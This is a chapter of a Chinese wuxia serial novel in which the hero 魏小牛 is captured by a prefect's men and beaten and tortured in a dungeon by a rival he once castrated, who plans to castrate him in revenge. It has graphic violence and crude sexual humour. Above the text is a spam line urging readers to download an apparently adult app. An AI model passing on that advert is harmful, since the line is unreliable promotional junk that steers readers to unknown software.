以下APP站长已检测强烈推荐下载(狼友必备)

【魔刀丽影】 6-10集 作者:猎枪


【魔刀丽影】   

   作者:猎枪
   出版社:河图文化


第六集第一集仇家

  小牛瞇起眼睛,露出友好的笑容,一抱拳说道:“几位公爷,这幺晚来到这儿,有何贵干?不是走错了地方吧?你们要问路的话,俺小牛可以帮忙。我要帮不上,可以找人给你们方便。”嘴上叫着爷,心里暗骂,这帮孙子,是从哪个耗子洞里蹦出来的,找我干屁。一个个的看起来就不像善类。

  一个大个子盯着小牛,面沈如水,问道:“你就是魏小牛吗?”一双小眼睛上上下下打量着小牛。

  小牛咧嘴笑着,极力作出良民的样子,说道:“兄弟我就是魏小牛,初来宝地,还请各位公爷多帮助,多照顾。”说着又向几位衙役拱手转了半圈。

  大个子点头道:“还行,还挺会说话的。既然你就是魏小牛,咱们也不用多废话了,时间宝贵,这就跟我们走一趟吧。”

  小牛睁大眼睛,不解地问道:“你这是什幺意思呀?我小牛又没有犯法,凭什幺跟你们走一趟呢?岂有此理。”往床上一坐,一副无赖的模样。

  大个子哼道:“你有没有犯法,你自己心里清楚。我们只是例行公事。你难道要拒捕吗?那样的话,我们可要不客气了。”

  小牛沈吟一会儿,又笑了几声,低声道:“兄弟,能不能透露一下,找我什幺事?”小牛心里没命地想,我什幺时候惹到官府了呢,想了半天也是白费劲儿。

  大个子回答道:“你犯了什幺事,到衙门就清楚了。不要再多话,快走吧。”说着一挥手,立刻有一个家伙将铁鍊子向小牛头上套去。小牛一歪头,躲了过去。

  大个子嘿了一声,怒道:“小子,难道你真要拒捕吗?”

  小牛嘿嘿笑了两声,说道:“你们看,我还没有穿好衣服呢。想请我去,也得容我穿衣服呀。”

  大个子皱眉道:“那就快穿,穿完后就走。你是不是犯法了,你自己到大堂上说吧。”

  小牛不服气地说道:“我小牛从来没有乾过什幺坏事,跟官府可没有什幺干係。就是你们老爷见到我,也不能把我怎幺样。”小牛一边穿着衣服,一边心说,听月琳说,这个长安太守跟她的师父关係不错,见了太守之后,只要把事情说明白就是了。可是,万一他不讲道理,非要製造冤案可怎幺办呢?小牛心里起伏不定的。

  等穿完衣服后,小牛向门口一指,说道:“头前带路。”于是,有几个衙役首先迈步往外走,后边的人跟着小牛。小牛走了两步,突然身子纵起,向窗户穿去。当他的身子有一半露出窗外时,小牛还回头笑道:“孙子们,想请爷爷我去做客,哪有那幺容易的。你们得拿太守的轿子来 我才成。”说话间,身子已出了窗子。屋里那些衙役们听了他这话,都大笑起来,笑得那个难看跟得意,就不必提了。这倒使小牛觉得奇怪,好端端的,他们笑什幺?莫非都有病吗?很快,他就知道了答案。

  当他的身子快落地时,一张大网突然从旁边掀起,不等小牛有任何反应,便将他给兜住,并紧紧地缠了起来。随后,眼前一亮,出现数支火把,闪闪的火光下,都是青一色的衙役们。这时,高个子领着屋里的人出来,对着小牛哈哈大笑,说道:“臭小子,我们太守想抓的人,谁都跑不了。就算你藏到茅房里,也能把你揪出来。”说着话,来到在地上挣扎着滚动着的小牛跟前,使劲踢了几脚。

  小牛心里挺紧张的,嘴上却硬,笑骂道:“龟孙子,越来越有出息了,学会踢爷爷了。”这话一出口,那帮衙役们笑出声来。不用说,这个大个子自然怒气沖天,又重重地踢小牛一顿才算了事。踢得小牛好疼,不过这回他没有再骂人。他知道再骂的话,只能换来更坏的结果。人在屋檐下,不得不低头。目前看来,只好到大堂上跟人辩论了。如果真的有事的话,也只能指望月琳前去救我了。上天保佑呀,保佑她快点回来。如果她回来得太迟,我小牛说不上会落到什幺天地呢。想我小牛聪明一世,英雄一生,到头来上了这帮小人们的当。而且稀里糊涂,还不知道自己为啥被抓的。

  之后,高个子一声令下:“弟兄们,将这个江洋大盗,杀人犯带走。路上小心些,不要让他溜了才是。”众人答应一声,自有人将小牛连人带网地捆起, 起来, 出院子, 到院子外的一辆马车上。又堵上他的嘴,防止他出声。然后众人熄了火把,专挑黑暗的路走。

  这一切都使小牛更加糊涂。妈的,我魏小牛什幺时候成了江洋大盗,成了杀人犯?对了,我是杀过一个人,杀过那个土匪,难道是因为这件事被抓吗?说我是江洋大盗?这话从何说起,我小牛是乾过偷鸡摸狗的勾当,那是在杭州时候的事了,难道就因为这点小事,我就被长安的太守绳之于法吗?这是邻居家死头驴,多大点的事呀。他越想越糊涂,越想越傻。接下来的事,更为奇怪,使小牛连想都懒得想了。他索性闭上眼睛,不再浪费精力了。目前看来,只有见机行事。只要俺小牛能保住小命,别的事倒都是次要的了。

  小牛在车里坐着,有人看守。他根本看不到外边,根本不知道人家把他带到哪里。人为刀俎,我为鱼肉,一切听命于天好了。虽然看不到外边,但是他知道,人家不是把他带往街门,为什幺呢?因为路上走了好久,如果是去衙门,早就到了。他知道他住的客栈,离衙门不是很远。这是月琳告诉他的。

  不知道过了多久,马车才停下来。小牛被人家从车上拉出来,向一座精緻的楼房拖去。小牛粗略一打量,发现这里是野外。周围都是山岭,前边是一个大湖,湖中建着一座小楼。此时,小牛正被人家象拖死狗一样,沿着曲曲折折的木桥拖向小楼。小牛受此汙辱,心中大怒,心说,老子有朝一日,要是脱身了,非要你们这帮狗奴才的好看。有一头算一头,非跟你们好好清算一下不可。叫你们一个个的跪在我脚下叫爷爷。

  来到楼前,只见门外有两名衙役把守着。他们见到高个子便施礼道:“高管家,大人正等得着急呢。刚才还想叫人打听,看你抓到人没有。”

  那个高个子一笑,向二人一还礼,说道:“托咱们大人的福气,兄弟总算不虚此行。别看这个小子狡猾得像只兔子,可还是叫兄弟我给抓住了。”

  一人说道:“谁不知道咱们高管家神通广大。别说抓这幺一个毛头小子,就是抓江湖惯犯,江洋大盗也是易如反掌。”

  另一人说道:“那是呀,咱们大人不止一次夸过高管家呢,说高管家本事高强,最能办事。大人是一天都离不开高管家。”

  高管家听得眉开眼笑,说道:“过奖了,过奖了。没有咱们大人的栽培,兄弟我还不知道在哪里要饭呢。”

  一人说道:“大人等得急了,我先去通报一声。”说着快步进楼了。

  小牛听着这番拍马奉承的话,觉得挺噁心。别看自己也常说这类的话,但小牛还是觉得不舒服。他看这个小楼盖得极为漂亮。楼上楼下都点缀着彩灯,溢彩流光,耀眼辉煌。一看就是有钱人享受的地方。

  不一会儿,那人出来说道:“高管家,大人让你一个人将人犯带进来。大人在菊花间呢。”

  高管家答应一声,对二人一笑,自己一手牵着小牛,向楼里走去。一进了客厅,小牛便闻到一股酒香跟菜香味儿。小牛心里骂道,奶奶的,是哪个王八蛋在享乐呢?是哪个王八蛋把我抓来的。

  高管家扯着小牛向一个房间走去。来到门前,高管家敲了敲门,门里便传来声音说:“高管家,进来吧。”门一开,高管家一个人走了进去。小牛被晾在外边了。

  不过一会儿,里边出来两个人,将小牛的绳子跟网去掉,又'解放'了小牛的嘴,使得小牛全身舒服不少。这一阵子的折磨,使小牛可受足了罪。他想冲进去看看,里边到底是谁在跟自己作对呢。

  不等他冲进去,那两人一指门里,喝道:“进去,有人想看看你。”

  小牛也不怕了,反正怕也没用。他挺挺胸脯,瞪眼扬眉地傲然地走进去。只见屋里摆着一桌酒菜,桌旁坐着三个人,旁边还站着几个丫环跟高管家。高管家正跟一个五十左右的长着一个鹰钩鼻子的家伙报告刚才捉拿小牛的成绩呢。看样子,这家伙就是什幺孟太守。

  再看这个太守对面,坐着一个员外模样的家伙,细眼白须,透着狡猾相,正拿着恶意的眼光瞅着小牛。坐着员外旁边的是一个年青人,比小牛大不了几岁。那人二十多岁,手里拿着把折扇,正冲着小牛冷笑。一看到这个人,小牛脑袋嗡地一下子,所有不明白的事,一下子就都明白了。刚才受到的一切不公正的对待,现在也觉得没有什幺了。

  现在,他最想做的事,就是快点跑出去,离这个年青的家伙远一点。他想自己落到这家伙的手里,还不如掉到野兽群中呢。

  对面那人见到小牛,冷笑之中透着奸计得逞的得意。他站了起来,指着小牛的鼻子骂道:“混小子,你害得我不能人道,害得我生不如死。嘿嘿,臭小子,今天你落到我们手里,看我怎幺收拾你。”说着话,情不自禁地摸向了裤裆,摸到中途,又把手收了回来。他突然意识到,在此场合,这动作实在不雅。

  这人不是别人,跟小牛算是顶熟儿的了,正是北海弟子赵曲蛇。那回为了救月琳,小牛一气之下,将赵曲蛇变成太监。害得赵曲蛇痛苦不堪,发誓不报此仇,誓不为人。

  他自从受伤之后,找遍名医,细心调教,到了近日才刚能走路。他老子赵员外见儿子心情不好,便领他出来散心。父子俩来到长安上亲戚孟太守家。孟太守是赵曲蛇的亲舅舅。到这里之后,赵曲蛇就把自己的不幸跟舅舅说了,孟太守听了也很心酸,就安慰赵曲蛇说,如果有机会,自己一定要为他出气。当时只是说说的,并没想动真格的,哪知道官府耳目灵通,手下人忽一日密报太守,说魏小牛进入长安城,住在某某客栈。赵曲蛇听了暗叫老天有眼,总算那小子的末日来了。想下手时,得知还有月琳同行,这使赵曲蛇跟孟太守有了顾虑。

  赵曲蛇知道月琳也是个有道行的姑娘,自己若不受伤的话,还可以跟她较量一下,现在自己连常人都不如。要抓魏小牛,最好不要惊动她。而孟太守考虑到江月琳是自己的老友沖虚道长的弟子,自己抓她的朋友,只怕也会牵连到沖虚,朋友的面子上不好看。于是,经过商量,决定乘江月琳不在的时候,一举抓住魏小牛。这样对谁都好。官府的人在客栈一直监视,在月琳一离开客栈时,孟太守马上命令高管家出手。高管家做事,太守一向是信得过的。果不其然,高管家这幺快就将小牛给拿下了。为了不让月琳找到小牛,孟太守不将小牛押往衙门,而是将他直接弄到自己的别墅中来。这样,谁都不知道小牛哪里去了。拿到小牛之后,孟太守就想,这家伙害得外甥不浅,不能轻饶他,至于怎幺处理他,还是听听外甥的意见吧。
  此时,小牛站在地上沖赵曲蛇乾笑不已,说道:“赵公子,你应该感谢我呀。如果不是我的话,你早就活不到今天了。”

  赵曲蛇怒道:“混小子,死到临头了,还在胡说八道。我会让你生不如死的。”他的脸有几分扭曲了。

  小牛见没有人给自己让座,索性上前自己拉了把椅子退后坐下,说道:“赵公子,你想呀,你是个好色之徒,如果不是我把你变成太监,你不知道要找多少个婊子。你想呀,玩婊子不给钱行吗?你玩一大帮婊子,就得花好多好多钱。花钱还不算,男人是一滴精十滴血呀,那幺多婊子缠上身来,你还不早就把小命给丢了呀。你说我说得对不对?是我救了你。”

  赵曲蛇气得说不出话来,将扇子向小牛掷去。小牛歪头躲过,嘻皮笑脸的,把当前的恶运全不当一回事。赵曲蛇他爹赵员外站起来骂道:“流氓一个,一派胡言。”

  这时高管家说话了:“魏小牛,这位是我们长安城的孟太守,还不跪下磕头吗?”

  小牛瞅瞅一脸威严的孟太守,哈哈一笑,只是抱了抱拳,说道:“小子魏小牛,给大人请安了。”

  高管家哼道:“这幺无礼,难怪要短命呢。”

  孟太守淡淡一笑,说道:“算了吧,一个不学无术的家伙能有什幺教养呢。高管家呀,你辛苦了,回头我会重重赏你的。现在你再辛苦一点,把他送到地牢去吧。有他在这里,只怕我姐夫跟外甥也吃不下饭。”

  赵曲蛇坐下说道:“舅舅呀,这小子交给我处理吧。两天之后,我的身体就能恢复得不错了。那时候我就可以亲自为自己报仇了。”说着用充满怨毒的眼睛盯了小牛一眼,令小牛浑身上下不舒服。他知道这小子不会让自己那幺轻易去死的,心里直发凉。如果让这小子发落自己,自己还不如痛痛快快地死掉的好。

  孟太守对赵曲蛇慈祥地笑着,说道:“曲蛇呀,好好好,舅舅都依你。两天之后,这个人让你处理。”

  高管家过来对小牛说道:“魏小牛,这就走吧,这里不是你呆的地方。”

  小牛望着满桌的佳餚跟美酒,垂涎三尺,忘情地说道:“嘿,这酒这幺香,一定是名酒呀。孟太守,你不在乎让我喝碗酒吧?”

  孟太守哈哈一笑,说道:“你这小子脸皮倒挺厚的,死到临头了,还有这份胆识,不能不叫人佩服了。来人,给他倒一碗酒。”

  话音一落,早有丫环上前给倒上一碗。小牛先用鼻子闻了闻,连连点头道:“只闻这味儿,就要醉了。就算是明天掉脑袋,也是值得了。”说着话,端起酒杯,一口气喝个底朝天。

  孟太守点着头,说道:“行呀,像个男人。再来一碗。”

  丫环又给倒满,小牛又是一口喝完。孟太守见小牛只是脸色微红,且两眼更有光彩了,连连点头,夸道:“是个男子汉。”又叫倒一碗,小牛又是喝个乾净。这份酒量在场人无不佩服。

  孟太守感慨道:“好样的,像个英雄。如果你不是伤害我的外甥,咱们倒是可以成为酒友的。我已经好久没找到合适的酒友了。”说罢,也是连乾三碗,豪气大发,然后才叫高管家将小牛送去牢房。

  喝完酒的小牛,精神抖擞,情绪极好,自觉浑身充满力量,刚才的紧张跟不安全部消去。一听说要让自己坐牢,小牛大为不满,嗖地从椅子上跳了起来,说道:“不公平,不公平,抓我进牢房,也得凭真本事。这幺叫我进去,我不服。”

  孟太守脸色有了酒红,望着一肚子牢骚的小牛说道:“你有什幺不服的?”

  小牛指着高管家说道:“你这位手下不是一对一凭武功抓住我的,而是用了诡计。不信的话,你问他呀。”

  孟太守微微一笑,说道:“那怎幺样你才算服气呢?”

  小牛不屑地说道:“如果你们是凭真本事打倒我的,我就服了。”

  孟太守点头道:“好吧,这回就叫你心服口服。不然的话,你还真以为我们长安城里没有能人呢。”说着话向高管家一挥手,说道:“高管家,你就陪着这个小朋友玩一下吧,注意呀,不要弄出人命呀。我的外甥还要拿他来报仇呢。”

  高管家答应一声,指指旁边的空地。小牛挽了挽了袖子,心里也是没有底。他心说,这个孟太守既然叫高管家出手,自然这家伙是有两下子的。自己好不容易争取来的机会,可得珍惜呀。

  小牛也不答话,先到高管家跟前施个礼,腰还没有直起呢,突然 脚照高管家胯下就是一脚。这一脚来得又快又急,存心想一脚定输赢,一脚绝子孙呀。高管家反应灵敏,也不见腿打弯,身子直直地后移一步,正好避过这脚。不等高管家站稳,小牛冲上去照他面门就是一拳,拳到中途时,改为击胸。这下子倒有点出乎高管家意外。无奈之下,高管家便实实地承受了小牛这一拳。只听怦地一声,拳头击中,高管家纹丝不动,而小牛捂着那只拳头疼得直咧嘴。这一拳打在人家的身上,像打在铁板上相似。只凭这一下子,小牛就知道自己照人家高管家差得太远了。人家是真正的高手,是练硬功的。

  小牛心里充满了绝望。他心说,如果我有月琳或者师娘的神通的话,只要稍使法术,这个高管家早就人仰马翻了。唉,我小牛什幺时候才能变成神通广大的人物呢?什幺时候才能摆脱被人欺侮的地位呢?

  既然打不过人家,小牛也不能束手就擒。他摆定姿态,作出要进攻的架势,忽然向孟管家来个恶虎扑食,孟管家见此,就想来个顺手牵羊,抓住小牛的胳膊,狠狠地摔他一跤,以报复刚才这小子踢自己胯下的阴损。

  哪知道小牛扑到中途,冷不丁一转身,向外就跑。他的轻功确实不错,在大家的惊呼声 中,他已经冲出菊花间。

  高管家大叫道:“魏小牛,在大人跟前,你还想逃吗?”说着话,一个箭步纵出,向小牛追去。在高管家追出来时,小牛已经出了楼,上了木桥,正被衙役们拦截着。

  小牛暗骂,你们这群王八蛋,要不是你们拦我。这个高管家他功夫再好,也未必能追上我。我小牛别的本事没有,就是逃跑的功夫是一流的。正想着呢,高管家已经追上来了。

  情急之下,小牛挣扎着想跳水。高管家眼急心快,一把就扣住小牛的手腕,说道:“想凉快的话,也不着下水。地牢里比水里凉快呢。”说着话,指挥着众人拿绳子将小牛给捆了。捆得很结实,活像一个大棕子。

  高管家见小牛的狼狈样,哈哈大笑,说道:“魏小牛呀,你现在这个样子,比落汤鸡还难看。”

  小牛嘴还硬着,说道:“那也比你们这帮看门狗,护腚毛好看得多。”这话一出口,不用高管家吩咐,小牛就得到大家齐心协力的一顿痛打,被打得鼻青脸肿的。

  之后,高管家像老鹰拎小鸡一样,将小牛给拎回楼里了,也不顾小牛用嘴不停地问候他家的长辈女性。

  小牛被人押到地牢。到了地牢一看,这里的狱室还不止一间呢,每个狱室里都关着人,有的是三两个,有的是七八个,最多的是十几个人。

  高管家指挥着手下人要把小牛塞到最后一间狱室里。那里可是空的。小牛暗喜,总算对我不错,还让我住单间呢。可是门刚打开,赵曲蛇就一拐一瘸地走了进来,叫道:“高管家,你等等。”

  高管家一见是他,就露出奉承的笑容,说道:“喔,是赵公子呀,不在桌上喝酒,到这里有何贵干?这里的空气可不是太好。”

  赵曲蛇在目光在小牛的身上一转,说道:“我有点不放心这小子了,我怕他跑了。”

  高管家哈哈一笑,说道:“赵公子只管放宽心好了。这里守卫森严,墙壁厚实,就是一只鸟也飞不出去。”

  赵曲蛇也笑了,说道:“高管家呀,我想好好照顾一下这小子,可以不可以?”

  高管家当然明白这是什幺意思,便笑笑说:“这有什幺不可以的,不过玩要有个分寸,可千万不要弄死他呀。看你舅舅的意思,现在还不想让他死。”

  赵曲蛇点头道:“高管家放心吧,我知道我该怎幺做的。我不会让这小子轻易死掉的。猫捉到耗子之后,通常都不会马上吃掉,总要玩够,耍够了,才心满意足地吃掉。这个道理我也懂。”说着发出刺耳的奸笑。

  高管家不再多话,留下两个人当 帮手,自己转身出门,忙自己的事了。这里,赵曲蛇开始向小牛发威了。

  赵曲蛇瞪着小牛,说道:“你小子也有今天。你不止破坏了我的好事,还把变得人不人鬼不鬼的,这笔帐我要好好跟你算一算。”

  小牛双手被捆,嘴是自由的。他嘿嘿直笑,说道:“赵曲蛇,我为什幺破坏你的好事?为什幺把你变成太监?你难道自己没有仔细想想吗?”

  赵曲蛇叫道:“我想,我想个屁呀。我管你是为了什幺?你害苦了我,我就不能跟你罢休。”

  小牛也大声道:“姓赵的家伙,你简直比秃尾巴狗还横呀,连一点人情道理都不懂呀。我现在跟你说话,是对牛弹琴呀。”

  赵曲蛇呵呵冷笑道:“臭小子,落到我的手里,还跟我摆谱呀。不制服你,我就不姓赵。”说着话向那两个帮忙的一挥手,说道:“给我好好招呼他,留口气就行。”

  那两个衙役答应一声,如狼似虎地扑过来,对小牛拳打脚踢,如狂风暴雨。小牛被打倒在地,疼痛难忍,却不求饶,嘴里大呼道:“孙子打爷爷,爷爷好舒服呀。”此话一出,那打击就更大了。

  不一会儿,第一轮胖揍告一段落。赵曲蛇得意洋洋,过来吐了小牛一口口水,用脚将小牛的头摆正,见他鼻口流血,眼圈雀黑的,样子好难看,不禁哈哈大笑,透着无比的快意。他用脚踩着小牛的脸,骂道:“小牛,你看你现在的这个样子,比掉光毛的狗还难看。这只是第一步,还有更难看的。”

  在此情况下,小牛还不服输,说道:“姓赵的太监,别跟我使横,我以后会成为你的主子。你只配给我舔腚。”声音虽有些沙哑,却透着逼人的硬劲儿。

  赵曲蛇咬牙切齿。小牛这话刺到他的痛处上了。要不是想亲手报仇,他现在就命人将小牛给做了。此时,他强忍怒火,大吼道:“把他给我塞进人最多的那个狱室里,让这些囚犯们照顾照顾他,看他还嘴硬不。”

  衙役们领命,将小牛塞进那个狱室中。那些黑瘦的凶狠的有点变态的囚犯们见到小牛被仍进来,都心花怒放。他们的情绪压抑得太久了,急需发洩。小牛就成了他们的出气筒。

  那十几个人意气风发,拳脚相加,各尽所能,只能劈劈啪啪一阵响,小牛被打得好痛。这帮囚犯们简直跟脱缰的野兽一般,尽情地折磨着小牛,生怕错过祸害别人的良机。小牛被打得像球一样滚来滚去,衣服碎成一条条,头髮乱成一缕缕,从头到脚没有一处不疼的。赵曲蛇见此,乐得直跳,差点昏过去,嘴里欢呼道:“打得好,打得好,回头我给你们说点好话,给你们每一个人都减刑。死刑的变活刑,活刑的尽快回家。”那帮疯子一样的囚犯们听此许诺,都乐得无比难看,于是更加卖力地折磨小牛。整个狱室里充满了地狱的色彩。他们一直将小牛折磨得昏过去才罢手。小牛也真是硬气,不发出一声,好像变成了哑巴。赵曲蛇很想听到小牛可怜的求饶的声音,但他就是听不到。由于听不到,他就更想听。一想听,就更加狠心地折腾人。到了最后,他还是失望了。

  他怒气消了一些,但还是不想罢休。他告诉那两个衙役,拿凉水给我泼醒他,本公子还没有玩够呢。那两衙役心眼还挺好,就说道:“公子呀,刚才已经打得很重了,如果再折腾一会儿,可能他就会死掉。你原意他死掉吗?”

  赵曲蛇用他特有的太监般的声音叫道:“他想死?可没有那幺容易的事。我要亲手把他变成太监,再送进皇宫,让他当真正的太监。”

  其中一个问道:“真正送进宫里头?”

  赵曲蛇嘿嘿笑道:“那是当然了。他害惨了我,不过我不必进宫。他嘛,有这幺好的身体条件,又有这幺好的嘴皮子,不去宫里当奴才,实在是浪费材料了。”说到这儿,赵曲蛇发出欢快的长笑,那声音尖利刺耳,连那些囚犯都想摀住耳朵。赵曲蛇却自以为动听,他心里多提多美了。受伤以来,一直是闷闷不乐,今天总算出了口恶气。他想到将小牛送到宫里,让他给皇家当奴才,餵鸟,种花,倒倒马桶什幺的,嘿,那是多好玩呀。要是让他服侍女人就更有趣了。面对那些妃子,娘娘等美人们,只能看,只能摸,却不能像男人那样干事,心里那个愁呀,那个急呀,别提多好玩了。

  直到此时,赵曲蛇决定了小牛的命运。对了,不叫他死,也把他变成太监,将他送到皇宫里受苦。想到他跟自己一样连鬍子都没有,连玩意都没有,嘿嘿,他比自己还惨呢。那个时候他还敢笑话我吗?再让宫里的人对他坏些,这比杀掉他要强得多了。对了,就这幺干。

  赵曲蛇想好法子之后,长出一口气。他吩咐一声,将小牛解开绳子,塞进那个单独的狱室里,严加看管,不能让他逃了,更不能让他自杀。如果他死了,一切就不好玩了。

  见昏昏沈沈的小牛被关了起来,赵曲蛇怪笑了几声,这才满意地扬长而去。自从变成太监以来,他对折磨人大感兴趣。看着别人受苦,他心里特别舒服。别人受苦越重,他越是好受。

  再说小牛,经过这阵子的折磨,也不知道过了多久才醒过来。他醒来后的第一感觉就是全身没有一处不痛的。他张开眼睛,见自己是在一间狱室里。他想挣扎着坐起来,却没有力气。隔壁的狱室里的囚犯正朝自己看着,充满了好奇。

  小牛回想刚才的经历,对赵曲蛇痛恨极了。他心说,有朝一日你要是落到我手里,看我怎幺收拾你。可目前在人家手里,说什幺都是白废。

  人在落难的时候最怀念美好的日子,怀念让自己感到温暖的人。他想到了自己的家人。小袖是那幺可爱,继母是那幺宽容,连一向可恶的老爸都不那幺讨厌了。还有师娘,月琳,月影,还有春圆,甜妞,鬼灵,牛丽华,每个人都让自己深深地想念。如果她们有一个人陪着自己就太好了。所有的苦难都可以承受。月琳呀,我心爱的姑娘,你在哪里呢?你此时也该赴宴归来了吧。当你发现我不见的时候,也该出来找我吧?只是我被关在这里,你就算很聪明,只怕也找不到这里来。唉,我这次如果能死里逃生,第一件事就是得学好本事,向这些坏人复仇。一个人如果不是强者,就得受欺侮。如果我像月琳一样会飞,谁能抓住我呢?如果我像鬼灵一样,可以土遁的话,这个牢房又怎幺能拦住我呢?此时此刻,谁来关心我呢?

  正当小牛自怜自叹的时候,隔壁的囚犯们就有人问小牛,是因为什幺进来的?一听这个话题,小牛就忍不住笑了。隔壁人见他被打得遍体鳞伤,居然还笑得出来,都觉得这人很有意思。

  小牛挣扎着坐起来,大喘了几口气,才把自己的英雄事蹟说了一遍。他说得基本属实,只是加入一些夸张成分,使人听起来更为过瘾,更为刺激。大家听罢,才总算明白,这个小牛是因为什幺进来的。敢情是因为将太守大人的亲外甥变成太监了。这样的罪行倒不多见。于是,有些人开心地笑起来,有些人笑得直弯腰,有些人甚至笑出了眼泪。有些人好些日子不笑了,以至于笑得昏了过去。

  当小牛问起他们时,他们的罪名也是各种各样,但他们都对自己的罪行供认不讳。这使小牛意识到,这个太守看来还行,并没有搞什幺冤案。事到如今,他倒不怎幺恨太守了,但对赵曲蛇,那是照恨不误。当隔壁的囚犯告诉他,说赵曲蛇也要变他为太监,并决定送他进宫时,小牛的眼泪都掉下来了。这次他是真的怕了。

  当太监?那太可怕了。小牛吓得直出冷汗。如果一个男人没有了那东西,不能干女人,活着还有什幺意思呢?还不如让我死了的好。

  小牛实在累了,也困了,虽然全身疼痛,好在没有伤到骨头,都是皮外伤。他倒在地上的草上,慢慢地睡着了。他不断地做恶梦,似乎真的到宫里变成了令人噁心的变态太监了。

  在说着梦话的时候,他猛地醒来了。只见高管家正站在面前,自己首先看到了他的一双脚。小牛吓得一激灵,忽地坐了起来,强打精神问道:“你想干什幺?老子我不怕死。”

  高管家的脸在昏暗的阳光下既阴险又诡异。他嘿嘿笑几声,说道:“你的末日到了,要提前行刑。”

  小牛一哆嗦,声音有点抖颤道:“你们真想要杀我?想用什幺样的死法?”

  高管家冷笑道:“到地方你就知道了,不要啰嗦了。”说着话,向身后一挥手,立刻有两个人过来,架起小牛向外走。这幺一动,他全身的伤受到影响,痛得他要叫出声来。高管家不等他发出声音,已经叫人将他的嘴又给堵住了。这使小牛大为恐惧,难道真要杀掉我吗?我小牛还没有活够呢?然而现在的小牛连走路都吃力,更别提反抗了。

  出了地牢,并没有往前院去,而是出了楼的后门,到了楼后,他们来到水边,上了条小船,往岸边划去。小牛不明白什幺意思,难道是要把我给淹死吗?看样子可不太像。如果要淹死我的话,直接在水边推下去就是了,何必费这一套事呢。

  到了岸边,下了船,四个人向茂密的林子而去。小牛不解其意,心说,难道要改为杀头,或者活埋吗?这也挺可怕的。唉,我小牛原来命运这幺差呀。大慈大悲的观音菩萨,快来救一救我吧。

  到了林子深处,人家把他往地上一扔,不再理他了,只管跟自顾自的谈天。小牛虽然嘴不能言,耳朵还是好使的。

  甲说:“高管家呀,咱们睡觉睡得挺好的,干嘛非得折腾起来,跑到这个林子里来受风呀?”

  乙说:“可不嘛,我睡得正香呢,正梦见自己在喝茅台酒。”

  高管家爽朗地一笑,说道:“我也睡得香呢,可大人叫我起来,我就得起来呀。咱们当手下的,自然要听话了。”

  甲乙二人说道:“这到底是为什幺呀?是不是有什幺情况?”

  高管家说道:“这个嘛,你们还是别问了,只怕我告诉你们了,你们嘴不严吶。”

  甲乙说道:“怎幺会呢?如果我们不可信的话,大人也就不会让我们二人跟你干这个事了。大人可说信任我们的。”

  高管家坐在一根木头上,想了一会儿,说道:“好吧,你们既然非得问,我也不妨告诉你们。不过咱们哪说哪了,千万不要让别人知道呀。不然的话,大人怪罪下来,我可吃罪不起了。”

  甲说:“咱们兄弟相处都不是一天两天了,你也知道我们哥俩的为人。我们的嘴一向是很严的。”

  乙说道:“如果我要是把高管家的话洩漏出去的话,老天爷罚我以后再也喝不了酒。”

  高管家听了一笑,说道:“那好吧,我就告诉你们好了。这也是大人跟我一个人说的。”

  甲奉承地笑道:“谁不知道咱们高管家跟大人的关係最铁了。在大人还没有今天这样厉害的时候,高管家就已经是大人的爱将了。”

  高管家听了这样的话,心里非常受用,说道:“那是自然了。我跟大人的时候,大人还只是一个九品县令。现在可不一样了。”

  乙说道:“高管家呀,快请你说吧。”

  高管家看了一眼在地上躺着的小牛,说道:“还不是这小子的帮手要来了,大人才决定把他给弄出来的。”

  小牛一听,耳朵都要支愣起来了,心说,我的帮手,那一定是月琳了。现在跟我关係最近的就是她了。她赴宴回来,见我不在,自然要到处找我了。我小牛还是福气不错的,有这样的好女人跟着我。

  高管家接着说道:“这个魏小牛也没有什幺出奇的,却得到崂山美女江月琳的欢心。江月琳回到客栈后,发现这小子没有了,通过打听,知道被咱们弄走了。她先到衙门去找,翻遍了地方,就是没有。她的能力也真强,竟然找到大人的这个小楼来了。她非要进来瞅瞅,大人生怕她真的找到魏小牛,这才命咱们赶紧把小子转移到这儿了。等那姑娘走了之后再说。”

  小牛听了心里一阵欢喜,又是感动,又是失望。月琳怎幺可能找到我呢?这帮家伙这幺狡猾,月琳一个单身女子怎幺能斗得过他们呢?如果是月影也来的话,那可就有希望了。

  甲乙二人这时才明白怎幺回事。甲就问道:“高管家,咱们大人本事也不小,又是朝廷命官,难道还怕一个小丫头吗?”

  高管家摆了摆手,说道:“那不是怕,是看在江月琳师父的面子上,才让她这幺放肆的。你们也知道,咱们大人在长安为官这几年,有几人敢闯到小楼中来呢?主要是大人跟江月琳的师父交好,这个面子不能不给。”

  乙问道:“如果那丫头看完之后,没有找到这小子就赖着不走的话,那可怎幺办呢?”

  高管家笑了起来,说道:“咱们大人神通广大,什幺大风大浪没有见过呀。这点小事还能难得倒他吗?一个小丫头大人还摆不平吗?你也太小看咱们大人的能力了。”

  甲奉承道:“那是呀。咱们大人如果没有两下子的话,也不可能这幺快就在几年之内,从九品做到长安太守了。”

  乙也说道:“就因为咱们大人的官越做越大了,我喝的酒也是越来越好了。等咱们大人升到京城要员时,那时候咱们当属下的,也可能尝尽人间美酒了。”说着话,咂着唇发出啧啧之声,听得高管家跟甲都笑了。

  地上的小牛不愿听这下边的内容了。他就想呀,如何想个办法脱离这个鬼地方呢?或者说如何能让月琳知道我在这里呢?如果他知道我在这里的话,没有人能挡住她救我的脚步。

  可想来想去也是一筹莫展,因为他现在走路都吃力,还能干什幺呢?他头一回感到了一种无奈跟绝望。想到两天后可能要受到那个该死的赵曲蛇的淩辱跟折磨,小牛突然有了一种杀身成仁的念头。他是宁可一死,也不愿意被人家那幺汙辱。

  这时高管家跟那二人还在说话呢。甲就问道:“高管家呀,听说两天之后赵公子就想处理这个小子,据说要以牙还牙,要把这个小子变成太监,真有这幺一回事吗?”

  高管家咧嘴一笑,说道:“可不是嘛,看那架势,赵公子这回是动真格的了。”

  乙就说:“我还以为是开开玩笑呢。原来是来真的。那还不如一刀杀了解气呢。你想呀,就算把他变成太监,他也是活着的,如果一刀杀了,不就乾净了吗?”

  甲嘿嘿笑着,说道:“你哪里知道赵公子的心理呀。他自从受到这个魏小牛的祸害之后,他跟以前可不一样了。以前他要是处理这种事呀,他会来个红刀子进去,白刀子出来的,乾净利索。现在呀,不一样了。他不想让魏小牛这幺痛快地死,他想让他活,活得很痛苦,这才是他的目的。”

  高管家嗯了两声,说道:“兄弟,你说得没有错。这赵公子可捨不得魏小牛死了。如果魏小牛死了,他多幺寂寞呀。他还想让魏小牛当他的伙伴呢,整天跟着他。看着魏小牛受苦,他才会开心得不得了,才觉得活着很有意思的。”

